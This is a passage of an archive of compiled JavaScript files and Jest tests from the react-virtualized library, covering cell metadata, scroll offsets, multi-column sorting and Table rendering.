      callback(indices);
    }
  };
}commonjs/utils/initCellMetadata.js000064400000002064151677406000013303 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = initCellMetadata;

/**
 * Initializes metadata for an axis and its cells.
 * This data is used to determine which cells are visible given a container size and scroll position.
 *
 * @param cellCount Total number of cells.
 * @param size Either a fixed size or a function that returns the size for a given given an index.
 * @return Object mapping cell index to cell metadata (size, offset)
 */
function initCellMetadata(_ref) {
  var cellCount = _ref.cellCount,
      size = _ref.size;
  var sizeGetter = typeof size === 'function' ? size : function () {
    return size;
  };
  var cellMetadata = [];
  var offset = 0;

  for (var i = 0; i < cellCount; i++) {
    var _size = sizeGetter({
      index: i
    });

    if (_size == null || isNaN(_size)) {
      throw Error("Invalid size returned for cell ".concat(i, " of value ").concat(_size));
    }

    cellMetadata[i] = {
      size: _size,
      offset: offset
    };
    offset += _size;
  }

  return cellMetadata;
}commonjs/utils/animationFrame.js000064400000001662151677406000013034 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.caf = exports.raf = void 0;
// Properly handle server-side rendering.
var win;

if (typeof window !== 'undefined') {
  win = window;
} else if (typeof self !== 'undefined') {
  win = self;
} else {
  win = {};
} // requestAnimationFrame() shim by Paul Irish
// http://paulirish.com/2011/requestanimationframe-for-smart-animating/


var request = win.requestAnimationFrame || win.webkitRequestAnimationFrame || win.mozRequestAnimationFrame || win.oRequestAnimationFrame || win.msRequestAnimationFrame || function (callback) {
  return win.setTimeout(callback, 1000 / 60);
};

var cancel = win.cancelAnimationFrame || win.webkitCancelAnimationFrame || win.mozCancelAnimationFrame || win.oCancelAnimationFrame || win.msCancelAnimationFrame || function (id) {
  win.clearTimeout(id);
};

var raf = request;
exports.raf = raf;
var caf = cancel;
exports.caf = caf;commonjs/utils/getUpdatedOffsetForIndex.jest.js000064400000004303151677406000015735 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _getUpdatedOffsetForIndex = _interopRequireDefault(require("./getUpdatedOffsetForIndex"));

var _TestHelper = require("./TestHelper");

describe('getUpdatedOffsetForIndex', function () {
  function testHelper(targetIndex, currentOffset) {
    var cellMetadata = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : (0, _TestHelper.getCellMetadata)();
    return (0, _getUpdatedOffsetForIndex["default"])({
      cellOffset: cellMetadata[targetIndex].offset,
      cellSize: cellMetadata[targetIndex].size,
      containerSize: 50,
      currentOffset: currentOffset
    });
  }

  it('should scroll to the beginning', function () {
    expect(testHelper(0, 100)).toEqual(0);
  });
  it('should scroll forward to the middle', function () {
    expect(testHelper(4, 0)).toEqual(20);
  });
  it('should scroll backward to the middle', function () {
    expect(testHelper(2, 100)).toEqual(30);
  });
  it('should not scroll if an item is already visible', function () {
    expect(testHelper(2, 20)).toEqual(20);
  });
  it('should scroll to the end', function () {
    expect(testHelper(8, 0)).toEqual(110);
  });
  it('should honor specified :align values', function () {
    expect((0, _getUpdatedOffsetForIndex["default"])({
      align: 'auto',
      cellOffset: 50,
      cellSize: 10,
      containerSize: 50,
      currentOffset: 0
    })).toEqual(10);
    expect((0, _getUpdatedOffsetForIndex["default"])({
      align: 'start',
      cellOffset: 50,
      cellSize: 10,
      containerSize: 50,
      currentOffset: 0
    })).toEqual(50);
    expect((0, _getUpdatedOffsetForIndex["default"])({
      align: 'auto',
      cellOffset: 50,
      cellSize: 10,
      containerSize: 50,
      currentOffset: 100
    })).toEqual(50);
    expect((0, _getUpdatedOffsetForIndex["default"])({
      align: 'end',
      cellOffset: 50,
      cellSize: 10,
      containerSize: 50,
      currentOffset: 100
    })).toEqual(10);
    expect((0, _getUpdatedOffsetForIndex["default"])({
      align: 'center',
      cellOffset: 50,
      cellSize: 10,
      containerSize: 50,
      currentOffset: 100
    })).toEqual(30);
  });
});commonjs/utils/getUpdatedOffsetForIndex.js000064400000002670151677406000014776 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = getUpdatedOffsetForIndex;

/**
 * Determines a new offset that ensures a certain cell is visible, given the current offset.
 * If the cell is already visible then the current offset will be returned.
 * If the current offset is too great or small, it will be adjusted just enough to ensure the specified index is visible.
 *
 * @param align Desired alignment within container; one of "auto" (default), "start", or "end"
 * @param cellOffset Offset (x or y) position for cell
 * @param cellSize Size (width or height) of cell
 * @param containerSize Total size (width or height) of the container
 * @param currentOffset Container's current (x or y) offset
 * @return Offset to use to ensure the specified cell is visible
 */
function getUpdatedOffsetForIndex(_ref) {
  var _ref$align = _ref.align,
      align = _ref$align === void 0 ? 'auto' : _ref$align,
      cellOffset = _ref.cellOffset,
      cellSize = _ref.cellSize,
      containerSize = _ref.containerSize,
      currentOffset = _ref.currentOffset;
  var maxOffset = cellOffset;
  var minOffset = maxOffset - containerSize + cellSize;

  switch (align) {
    case 'start':
      return maxOffset;

    case 'end':
      return minOffset;

    case 'center':
      return maxOffset - (containerSize - cellSize) / 2;

    default:
      return Math.max(minOffset, Math.min(maxOffset, currentOffset));
  }
}commonjs/index.js000064400000010576151677406000010055 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "ArrowKeyStepper", {
  enumerable: true,
  get: function get() {
    return _ArrowKeyStepper.ArrowKeyStepper;
  }
});
Object.defineProperty(exports, "AutoSizer", {
  enumerable: true,
  get: function get() {
    return _AutoSizer.AutoSizer;
  }
});
Object.defineProperty(exports, "CellMeasurer", {
  enumerable: true,
  get: function get() {
    return _CellMeasurer.CellMeasurer;
  }
});
Object.defineProperty(exports, "CellMeasurerCache", {
  enumerable: true,
  get: function get() {
    return _CellMeasurer.CellMeasurerCache;
  }
});
Object.defineProperty(exports, "Collection", {
  enumerable: true,
  get: function get() {
    return _Collection.Collection;
  }
});
Object.defineProperty(exports, "ColumnSizer", {
  enumerable: true,
  get: function get() {
    return _ColumnSizer.ColumnSizer;
  }
});
Object.defineProperty(exports, "accessibilityOverscanIndicesGetter", {
  enumerable: true,
  get: function get() {
    return _Grid.accessibilityOverscanIndicesGetter;
  }
});
Object.defineProperty(exports, "defaultCellRangeRenderer", {
  enumerable: true,
  get: function get() {
    return _Grid.defaultCellRangeRenderer;
  }
});
Object.defineProperty(exports, "defaultOverscanIndicesGetter", {
  enumerable: true,
  get: function get() {
    return _Grid.defaultOverscanIndicesGetter;
  }
});
Object.defineProperty(exports, "Grid", {
  enumerable: true,
  get: function get() {
    return _Grid.Grid;
  }
});
Object.defineProperty(exports, "InfiniteLoader", {
  enumerable: true,
  get: function get() {
    return _InfiniteLoader.InfiniteLoader;
  }
});
Object.defineProperty(exports, "List", {
  enumerable: true,
  get: function get() {
    return _List.List;
  }
});
Object.defineProperty(exports, "createMasonryCellPositioner", {
  enumerable: true,
  get: function get() {
    return _Masonry.createCellPositioner;
  }
});
Object.defineProperty(exports, "Masonry", {
  enumerable: true,
  get: function get() {
    return _Masonry.Masonry;
  }
});
Object.defineProperty(exports, "MultiGrid", {
  enumerable: true,
  get: function get() {
    return _MultiGrid.MultiGrid;
  }
});
Object.defineProperty(exports, "ScrollSync", {
  enumerable: true,
  get: function get() {
    return _ScrollSync.ScrollSync;
  }
});
Object.defineProperty(exports, "createTableMultiSort", {
  enumerable: true,
  get: function get() {
    return _Table.createMultiSort;
  }
});
Object.defineProperty(exports, "defaultTableCellDataGetter", {
  enumerable: true,
  get: function get() {
    return _Table.defaultCellDataGetter;
  }
});
Object.defineProperty(exports, "defaultTableCellRenderer", {
  enumerable: true,
  get: function get() {
    return _Table.defaultCellRenderer;
  }
});
Object.defineProperty(exports, "defaultTableHeaderRenderer", {
  enumerable: true,
  get: function get() {
    return _Table.defaultHeaderRenderer;
  }
});
Object.defineProperty(exports, "defaultTableHeaderRowRenderer", {
  enumerable: true,
  get: function get() {
    return _Table.defaultHeaderRowRenderer;
  }
});
Object.defineProperty(exports, "defaultTableRowRenderer", {
  enumerable: true,
  get: function get() {
    return _Table.defaultRowRenderer;
  }
});
Object.defineProperty(exports, "Table", {
  enumerable: true,
  get: function get() {
    return _Table.Table;
  }
});
Object.defineProperty(exports, "Column", {
  enumerable: true,
  get: function get() {
    return _Table.Column;
  }
});
Object.defineProperty(exports, "SortDirection", {
  enumerable: true,
  get: function get() {
    return _Table.SortDirection;
  }
});
Object.defineProperty(exports, "SortIndicator", {
  enumerable: true,
  get: function get() {
    return _Table.SortIndicator;
  }
});
Object.defineProperty(exports, "WindowScroller", {
  enumerable: true,
  get: function get() {
    return _WindowScroller.WindowScroller;
  }
});

var _ArrowKeyStepper = require("./ArrowKeyStepper");

var _AutoSizer = require("./AutoSizer");

var _CellMeasurer = require("./CellMeasurer");

var _Collection = require("./Collection");

var _ColumnSizer = require("./ColumnSizer");

var _Grid = require("./Grid");

var _InfiniteLoader = require("./InfiniteLoader");

var _List = require("./List");

var _Masonry = require("./Masonry");

var _MultiGrid = require("./MultiGrid");

var _ScrollSync = require("./ScrollSync");

var _Table = require("./Table");

var _WindowScroller = require("./WindowScroller");commonjs/Table/createMultiSort.jest.js000064400000015532151677406000014064 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _createMultiSort = _interopRequireDefault(require("./createMultiSort"));

describe('createMultiSort', function () {
  function simulate(sort, dataKey) {
    var eventModifier = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : '';
    var defaultSortDirection = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 'ASC';
    sort({
      defaultSortDirection: defaultSortDirection,
      event: {
        ctrlKey: eventModifier === 'control',
        metaKey: eventModifier === 'meta',
        shiftKey: eventModifier === 'shift'
      },
      sortBy: dataKey
    });
  }

  it('errors if the user did not specify a sort callback', function () {
    expect(_createMultiSort["default"]).toThrow();
  });
  it('sets the correct default values', function () {
    var multiSort = (0, _createMultiSort["default"])(jest.fn(), {
      defaultSortBy: ['a', 'b'],
      defaultSortDirection: {
        a: 'ASC',
        b: 'DESC'
      }
    });
    expect(multiSort.sortBy).toEqual(['a', 'b']);
    expect(multiSort.sortDirection.a).toBe('ASC');
    expect(multiSort.sortDirection.b).toBe('DESC');
  });
  it('sets the correct default sparse values', function () {
    var multiSort = (0, _createMultiSort["default"])(jest.fn(), {
      defaultSortBy: ['a', 'b']
    });
    expect(multiSort.sortBy).toEqual(['a', 'b']);
    expect(multiSort.sortDirection.a).toBe('ASC');
    expect(multiSort.sortDirection.b).toBe('ASC');
  });
  describe('on click', function () {
    it('sets the correct default value for a field', function () {
      var multiSort = (0, _createMultiSort["default"])(jest.fn());
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      simulate(multiSort.sort, 'b', '', 'DESC');
      expect(multiSort.sortBy).toEqual(['b']);
      expect(multiSort.sortDirection.b).toBe('DESC');
    });
    it('toggles a field value', function () {
      var multiSort = (0, _createMultiSort["default"])(jest.fn());
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('DESC');
      simulate(multiSort.sort, 'b', '', 'DESC');
      expect(multiSort.sortBy).toEqual(['b']);
      expect(multiSort.sortDirection.b).toBe('DESC');
      simulate(multiSort.sort, 'b', '', 'DESC');
      expect(multiSort.sortBy).toEqual(['b']);
      expect(multiSort.sortDirection.b).toBe('ASC');
    });
    it('resets sort-by fields', function () {
      var multiSort = (0, _createMultiSort["default"])(jest.fn(), {
        defaultSortBy: ['a', 'b']
      });
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
    });
    it('resets sort-direction fields', function () {
      var multiSort = (0, _createMultiSort["default"])(jest.fn(), {
        defaultSortBy: ['a', 'b'],
        defaultSortDirection: {
          a: 'DESC',
          b: 'ASC'
        }
      });
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toEqual('DESC');
      expect(multiSort.sortDirection.b).toEqual('ASC');
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toEqual('ASC');
      expect(multiSort.sortDirection.b).toEqual(undefined);
      simulate(multiSort.sort, 'b');
      expect(multiSort.sortBy).toEqual(['b']);
      expect(multiSort.sortDirection.a).toEqual(undefined);
      expect(multiSort.sortDirection.b).toEqual('ASC');
    });
  });
  describe('on shift click', function () {
    it('appends a field to the sort by list', function () {
      var multiSort = (0, _createMultiSort["default"])(jest.fn());
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      simulate(multiSort.sort, 'b', 'shift');
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      expect(multiSort.sortDirection.b).toBe('ASC');
    });
    it('toggles an appended field value', function () {
      var multiSort = (0, _createMultiSort["default"])(jest.fn());
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      simulate(multiSort.sort, 'b', 'shift');
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      expect(multiSort.sortDirection.b).toBe('ASC');
      simulate(multiSort.sort, 'a', 'shift');
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toBe('DESC');
      expect(multiSort.sortDirection.b).toBe('ASC');
      simulate(multiSort.sort, 'a', 'shift');
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      expect(multiSort.sortDirection.b).toBe('ASC');
    });
    it('able to shift+click more than once', function () {
      var multiSort = (0, _createMultiSort["default"])(jest.fn());
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      simulate(multiSort.sort, 'b', 'shift');
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      expect(multiSort.sortDirection.b).toBe('ASC');
      simulate(multiSort.sort, 'b');
      expect(multiSort.sortBy).toEqual(['b']);
      expect(multiSort.sortDirection.b).toBe('DESC');
      simulate(multiSort.sort, 'a', 'shift');
      expect(multiSort.sortBy).toEqual(['b', 'a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      expect(multiSort.sortDirection.b).toBe('DESC');
    });
  });
  ['control', 'meta'].forEach(function (modifier) {
    describe("".concat(modifier, " click"), function () {
      it('removes a field from the sort by list', function () {
        var multiSort = (0, _createMultiSort["default"])(jest.fn(), {
          defaultSortBy: ['a', 'b']
        });
        expect(multiSort.sortBy).toEqual(['a', 'b']);
        simulate(multiSort.sort, 'a', modifier);
        expect(multiSort.sortBy).toEqual(['b']);
        simulate(multiSort.sort, 'b', modifier);
        expect(multiSort.sortBy).toEqual([]);
      });
      it('ignores fields not in the list on control click', function () {
        var multiSort = (0, _createMultiSort["default"])(jest.fn(), {
          defaultSortBy: ['a', 'b']
        });
        expect(multiSort.sortBy).toEqual(['a', 'b']);
        simulate(multiSort.sort, 'c', modifier);
        expect(multiSort.sortBy).toEqual(['a', 'b']);
      });
    });
  });
});commonjs/Table/createMultiSort.js000064400000004506151677406000013117 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = createMultiSort;

function createMultiSort(sortCallback) {
  var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},
      defaultSortBy = _ref.defaultSortBy,
      _ref$defaultSortDirec = _ref.defaultSortDirection,
      defaultSortDirection = _ref$defaultSortDirec === void 0 ? {} : _ref$defaultSortDirec;

  if (!sortCallback) {
    throw Error("Required parameter \"sortCallback\" not specified");
  }

  var sortBy = defaultSortBy || [];
  var sortDirection = {};
  sortBy.forEach(function (dataKey) {
    sortDirection[dataKey] = defaultSortDirection[dataKey] !== undefined ? defaultSortDirection[dataKey] : 'ASC';
  });

  function sort(_ref2) {
    var defaultSortDirection = _ref2.defaultSortDirection,
        event = _ref2.event,
        dataKey = _ref2.sortBy;

    if (event.shiftKey) {
      // Shift + click appends a column to existing criteria
      if (sortDirection[dataKey] !== undefined) {
        sortDirection[dataKey] = sortDirection[dataKey] === 'ASC' ? 'DESC' : 'ASC';
      } else {
        sortDirection[dataKey] = defaultSortDirection;
        sortBy.push(dataKey);
      }
    } else if (event.ctrlKey || event.metaKey) {
      // Control + click removes column from sort (if pressent)
      var index = sortBy.indexOf(dataKey);

      if (index >= 0) {
        sortBy.splice(index, 1);
        delete sortDirection[dataKey];
      }
    } else {
      // Clear sortBy array of all non-selected keys
      sortBy.length = 0;
      sortBy.push(dataKey); // Clear sortDirection object of all non-selected keys

      var sortDirectionKeys = Object.keys(sortDirection);
      sortDirectionKeys.forEach(function (key) {
        if (key !== dataKey) delete sortDirection[key];
      }); // If key is already selected, reverse sort direction.
      // Else, set sort direction to default direction.

      if (sortDirection[dataKey] !== undefined) {
        sortDirection[dataKey] = sortDirection[dataKey] === 'ASC' ? 'DESC' : 'ASC';
      } else {
        sortDirection[dataKey] = defaultSortDirection;
      }
    } // Notify application code


    sortCallback({
      sortBy: sortBy,
      sortDirection: sortDirection
    });
  }

  return {
    sort: sort,
    sortBy: sortBy,
    sortDirection: sortDirection
  };
}commonjs/Table/Column.js000064400000010712151677406000011222 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _defaultHeaderRenderer = _interopRequireDefault(require("./defaultHeaderRenderer"));

var _defaultCellRenderer = _interopRequireDefault(require("./defaultCellRenderer"));

var _defaultCellDataGetter = _interopRequireDefault(require("./defaultCellDataGetter"));

var _SortDirection = _interopRequireDefault(require("./SortDirection"));

/**
 * Describes the header and cell contents of a table column.
 */
var Column =
/*#__PURE__*/
function (_React$Component) {
  (0, _inherits2["default"])(Column, _React$Component);

  function Column() {
    (0, _classCallCheck2["default"])(this, Column);
    return (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(Column).apply(this, arguments));
  }

  return Column;
}(React.Component);

exports["default"] = Column;
(0, _defineProperty2["default"])(Column, "defaultProps", {
  cellDataGetter: _defaultCellDataGetter["default"],
  cellRenderer: _defaultCellRenderer["default"],
  defaultSortDirection: _SortDirection["default"].ASC,
  flexGrow: 0,
  flexShrink: 1,
  headerRenderer: _defaultHeaderRenderer["default"],
  style: {}
});
Column.propTypes = process.env.NODE_ENV !== "production" ? {
  /** Optional aria-label value to set on the column header */
  'aria-label': _propTypes["default"].string,

  /**
   * Callback responsible for returning a cell's data, given its :dataKey
   * ({ columnData: any, dataKey: string, rowData: any }): any
   */
  cellDataGetter: _propTypes["default"].func,

  /**
   * Callback responsible for rendering a cell's contents.
   * ({ cellData: any, columnData: any, dataKey: string, rowData: any, rowIndex: number }): node
   */
  cellRenderer: _propTypes["default"].func,

  /** Optional CSS class to apply to cell */
  className: _propTypes["default"].string,

  /** Optional additional data passed to this column's :cellDataGetter */
  columnData: _propTypes["default"].object,

  /** Uniquely identifies the row-data attribute corresponding to this cell */
  dataKey: _propTypes["default"].any.isRequired,

  /** Optional direction to be used when clicked the first time */
  defaultSortDirection: _propTypes["default"].oneOf([_SortDirection["default"].ASC, _SortDirection["default"].DESC]),

  /** If sort is enabled for the table at large, disable it for this column */
  disableSort: _propTypes["default"].bool,

  /** Flex grow style; defaults to 0 */
  flexGrow: _propTypes["default"].number,

  /** Flex shrink style; defaults to 1 */
  flexShrink: _propTypes["default"].number,

  /** Optional CSS class to apply to this column's header */
  headerClassName: _propTypes["default"].string,

  /**
   * Optional callback responsible for rendering a column header contents.
   * ({ columnData: object, dataKey: string, disableSort: boolean, label: node, sortBy: string, sortDirection: string }): PropTypes.node
   */
  headerRenderer: _propTypes["default"].func.isRequired,

  /** Optional inline style to apply to this column's header */
  headerStyle: _propTypes["default"].object,

  /** Optional id to set on the column header */
  id: _propTypes["default"].string,

  /** Header label for this column */
  label: _propTypes["default"].node,

  /** Maximum width of column; this property will only be used if :flexGrow is > 0. */
  maxWidth: _propTypes["default"].number,

  /** Minimum width of column. */
  minWidth: _propTypes["default"].number,

  /** Optional inline style to apply to cell */
  style: _propTypes["default"].object,

  /** Flex basis (width) for this column; This value can grow or shrink based on :flexGrow and :flexShrink properties. */
  width: _propTypes["default"].number.isRequired
} : {};commonjs/Table/Table.jest.js000064400000154556151677406000011777 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _slicedToArray2 = _interopRequireDefault(require("@babel/runtime/helpers/slicedToArray"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var _objectWithoutProperties2 = _interopRequireDefault(require("@babel/runtime/helpers/objectWithoutProperties"));

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _TestUtils = require("../TestUtils");

var _testUtils = require("react-dom/test-utils");

var _immutable = _interopRequireDefault(require("immutable"));

var _Column2 = _interopRequireDefault(require("./Column"));

var _Table = _interopRequireDefault(require("./Table"));

var _SortDirection = _interopRequireDefault(require("./SortDirection"));

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

describe('Table', function () {
  var array = [];

  for (var i = 0; i < 100; i++) {
    array.push({
      id: i,
      name: "Name ".concat(i),
      email: "user-".concat(i, "@treasure-data.com")
    });
  }

  var list = _immutable["default"].fromJS(array); // Works with an Immutable List of Maps


  function immutableRowGetter(_ref) {
    var index = _ref.index;
    return list.get(index);
  } // Works with an Array of Objects


  function vanillaRowGetter(_ref2) {
    var index = _ref2.index;
    return array[index];
  } // Override default behavior of overscanning by at least 1 (for accessibility)
  // Because it makes for simple tests below


  function overscanIndicesGetter(_ref3) {
    var startIndex = _ref3.startIndex,
        stopIndex = _ref3.stopIndex;
    return {
      overscanStartIndex: startIndex,
      overscanStopIndex: stopIndex
    };
  }

  function getMarkup() {
    var _ref4 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        cellDataGetter = _ref4.cellDataGetter,
        cellRenderer = _ref4.cellRenderer,
        _ref4$columnData = _ref4.columnData,
        columnData = _ref4$columnData === void 0 ? {
      data: 123
    } : _ref4$columnData,
        columnID = _ref4.columnID,
        columnStyle = _ref4.columnStyle,
        columnHeaderStyle = _ref4.columnHeaderStyle,
        _ref4$disableSort = _ref4.disableSort,
        disableSort = _ref4$disableSort === void 0 ? false : _ref4$disableSort,
        headerRenderer = _ref4.headerRenderer,
        maxWidth = _ref4.maxWidth,
        minWidth = _ref4.minWidth,
        defaultSortDirection = _ref4.defaultSortDirection,
        label = _ref4.label,
        flexTableProps = (0, _objectWithoutProperties2["default"])(_ref4, ["cellDataGetter", "cellRenderer", "columnData", "columnID", "columnStyle", "columnHeaderStyle", "disableSort", "headerRenderer", "maxWidth", "minWidth", "defaultSortDirection", "label"]);

    return React.createElement(_Table["default"], (0, _extends2["default"])({
      headerHeight: 20,
      height: 100,
      overscanRowCount: 0,
      overscanIndicesGetter: overscanIndicesGetter,
      rowCount: list.size,
      rowGetter: immutableRowGetter,
      rowHeight: 10,
      width: 100
    }, flexTableProps), React.createElement(_Column2["default"], {
      label: label || 'Name',
      dataKey: "name",
      columnData: columnData,
      width: 50,
      cellRenderer: cellRenderer,
      cellDataGetter: cellDataGetter,
      headerRenderer: headerRenderer,
      disableSort: disableSort,
      defaultSortDirection: defaultSortDirection,
      style: columnStyle,
      headerStyle: columnHeaderStyle,
      id: columnID
    }), React.createElement(_Column2["default"], {
      label: "Email",
      dataKey: "email",
      maxWidth: maxWidth,
      minWidth: minWidth,
      width: 50
    }), false, true, null, undefined);
  }

  beforeEach(function () {
    return jest.resetModules();
  });
  describe('children', function () {
    it('should accept Column children', function () {
      var children = [React.createElement(_Column2["default"], {
        dataKey: "foo",
        width: 100
      })];

      var result = _Table["default"].propTypes.children({
        children: children
      }, 'children', 'Table');

      expect(result instanceof Error).toEqual(false);
    });
    it('should accept subclasses of Column as children', function () {
      var AnotherColumn =
      /*#__PURE__*/
      function (_Column) {
        (0, _inherits2["default"])(AnotherColumn, _Column);

        function AnotherColumn() {
          (0, _classCallCheck2["default"])(this, AnotherColumn);
          return (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(AnotherColumn).apply(this, arguments));
        }

        return AnotherColumn;
      }(_Column2["default"]);

      var children = [React.createElement(AnotherColumn, {
        dataKey: "foo",
        width: 100
      })];

      var result = _Table["default"].propTypes.children({
        children: children
      }, 'children', 'Table');

      expect(result instanceof Error).toEqual(false);
    });
    it('should not accept non-Column children', function () {
      var children = [React.createElement("div", null)];

      var result = _Table["default"].propTypes.children({
        children: children
      }, 'children', 'Table');

      expect(result instanceof Error).toEqual(true);
    });
    it('should accept falsy children to allow easier dynamic showing/hiding of columns', function () {
      var children = [false, React.createElement(_Column2["default"], {
        dataKey: "foo",
        width: 100
      }), null];

      var result = _Table["default"].propTypes.children({
        children: children
      }, 'children', 'Table');

      expect(result instanceof Error).toEqual(false);
    });
  });
  describe('height', function () {
    it('should subtract header row height from the inner Grid height if headers are enabled', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        headerHeight: 10,
        overscanRowCount: 0,
        rowHeight: 20,
        height: 50
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      expect(rows.length).toEqual(2);
    });
    it('should not subtract header row height from the inner Grid height if headers are disabled', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        disableHeader: true,
        headerHeight: 10,
        overscanRowCount: 0,
        rowHeight: 20,
        height: 50
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      expect(rows.length).toEqual(3);
    });
  });
  describe('initial rendering', function () {
    // Ensure that both Immutable Lists of Maps and Arrays of Objects are supported
    var useImmutable = [true, false];
    useImmutable.forEach(function (useImmutable) {
      it('should render the correct number of rows', function () {
        var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
          rowGetter: useImmutable ? immutableRowGetter : vanillaRowGetter
        }))); // 100px height should fit 1 header (20px) and 8 rows (10px each) -

        expect(rendered.querySelectorAll('.ReactVirtualized__Table__headerRow').length).toEqual(1);
        expect(rendered.querySelectorAll('.ReactVirtualized__Table__row').length).toEqual(8);
      });
      it('should render the expected headers', function () {
        var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
          rowGetter: useImmutable ? immutableRowGetter : vanillaRowGetter
        })));
        var columns = rendered.querySelectorAll('.ReactVirtualized__Table__headerColumn');
        expect(columns.length).toEqual(2);
        expect(columns[0].textContent).toEqual('Name');
        expect(columns[1].textContent).toEqual('Email');
      });
      it('should render the expected rows and columns', function () {
        var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
          rowGetter: useImmutable ? immutableRowGetter : vanillaRowGetter,
          headerHeight: 10,
          rowHeight: 20,
          height: 50
        })));
        var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
        expect(rows.length).toEqual(2);
        Array.from(rows).forEach(function (row, index) {
          var rowData = list.get(index);
          var columns = row.querySelectorAll('.ReactVirtualized__Table__rowColumn');
          expect(columns.length).toEqual(2);
          expect(columns[0].textContent).toEqual(rowData.get('name'));
          expect(columns[1].textContent).toEqual(rowData.get('email'));
        });
      });
    });
    it('should support a :rowHeight function', function () {
      var rowHeight = function rowHeight(_ref5) {
        var index = _ref5.index;
        return 10 + index * 10;
      };

      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        rowHeight: rowHeight,
        rowCount: 3
      })));
